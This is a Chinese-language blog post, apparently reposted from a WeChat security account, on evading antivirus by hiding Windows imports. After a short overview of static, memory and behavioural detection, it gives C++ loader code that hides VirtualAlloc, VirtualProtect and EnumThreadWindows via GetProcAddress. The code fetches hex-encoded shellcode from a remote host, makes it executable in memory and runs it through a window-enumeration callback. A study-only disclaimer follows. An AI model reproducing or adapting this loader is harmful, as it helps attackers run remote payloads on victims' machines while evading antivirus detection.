-
静态文件扫描:根据文件的特征、哈希与数据库内的特征进行比对。 -
内存扫描:内存特征扫描,比如说卡巴斯基。
-
行为监测:流量、读写操作、创建进程、劫持、注入等行为。
导入地址表(IAT):Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中.当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。————来自百度百科
-
尝试定义VirtualAlloc的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
//如果函数成功,则返回值是导出的函数或变量的地址。
//如果函数失败,则返回值为 NULL
-
GetProcAddress的具体解释可以参考微软的介绍 ,点击跳转 GetProcAddress自定义函数指针
typedef LPVOID(WINAPI* PointVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);然后定义函数指针来存放这些函数的地址
ImportVirtualAlloc PointVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
-
接下来在代码中的函数换成自己定义的指针
int shell() {
PointVirtualAlloc AllocateMemorySpace = (PointVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
PointVirtualProtect ChangeMemoryPermissions = (PointVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
PointEnumThreadWindows accomplish = (PointEnumThreadWindows)GetProcAddress(GetModuleHandle(TEXT("user32.dll")), "EnumThreadWindows");
DWORD dwct; // 内存页属性
char b[b_SIZE] = { 0 };
char u[MAX_PATH] = "http://ip/你的shellcode.txt";
gettxt(u, b);
string tpf = b;
unsigned char* selc = (unsigned char*)calloc(strlen(b) / 2, sizeof(unsigned char));
for (int i = 0; i < tpf.size() / 4; ++i) {
selc[i] = std::strtoul(tpf.substr(i * 4 + 2, 2).c_str(), nullptr, 16);
}
//创建可读可写内存
LPVOID run = AllocateMemorySpace(NULL, strlen(b) / 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (run == NULL) { return 0; }
memcpy(run, selc, strlen(b) / 2);
//内存添加可执行权限
ChangeMemoryPermissions(run, strlen(b) / 2, PAGE_EXECUTE, &dwct);
accomplish(0, (WNDENUMPROC)run, NULL);
}
-
再次编译以后导入表中已经没有VirtualAlloc、EnumThreadWindows、VirtualProtect 这些函数了
-
效果如图
*本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。
原文始发于微信公众号(刑天攻防实验室):免杀之隐藏导入表
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论